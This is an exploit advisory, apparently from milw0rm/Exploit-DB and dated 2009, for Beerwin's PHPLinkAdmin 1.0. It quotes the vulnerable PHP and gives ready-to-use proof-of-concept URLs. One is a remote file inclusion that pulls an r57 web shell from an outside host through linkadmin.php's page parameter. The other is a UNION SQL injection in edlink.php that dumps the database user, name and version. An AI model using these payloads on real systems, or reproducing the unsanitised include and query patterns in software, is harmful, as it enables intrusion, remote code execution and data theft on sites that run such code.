Beerwin's PHPLinkAdmin 1.0 - Remote File Inclusion / SQL Injection

EDB-ID:

8216

Author:

SirGod

Type:

webapps

Platform:

PHP

Published:

2009-03-16

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[+] Beerwin's PHPLinkAdmin 1.0 Remote File Inclusion/SQL Injection
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
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[+] Download : http://www.downloads.beerwin.com/index.php?p=showdl&dl=16&cat=18

[+] Remote File Inclusion

 Direct acces to linkadmin.No auth.

 Vulnerable code in linkadmin.php :

-------------------------------------------------------------------------------------------
$page = $_REQUEST['page'];
if (!$page){
echo "Welcome to the PHPLINKADMIN!.<br> Please select an action from
the left menu.";
}else{
include $page;
}
--------------------------------------------------------------------------------------------

 PoC :

   http://127.0.0.1/path/linkadmin.php?page=http://www.kortech.cn/bbs//skin/zero_vote/r57.txt?

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[+] Remote SQL Injection

  Is a lot of SQL Injection vulnerabilities in the script.I will
present only one.

  Vulnerable code in edlink.php :

-----------------------------------------------------------------------------------------------
$linkid=$_REQUEST['linkid'];
if (!$linkid){
  echo "Error: Link missing! <br />";
}else{
  $sql=mysql_query("SELECT * FROM linktable WHERE linkid='$linkid'")
or die(mysql_error());
-----------------------------------------------------------------------------------------------

 PoC :

   http://127.0.0.1/path/edlink.php?linkid=-1' union all select
1,2,3,4,concat_ws(0x3a,user(),database(),version())'--

 No important things to extract from database.

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# milw0rm.com [2009-03-16]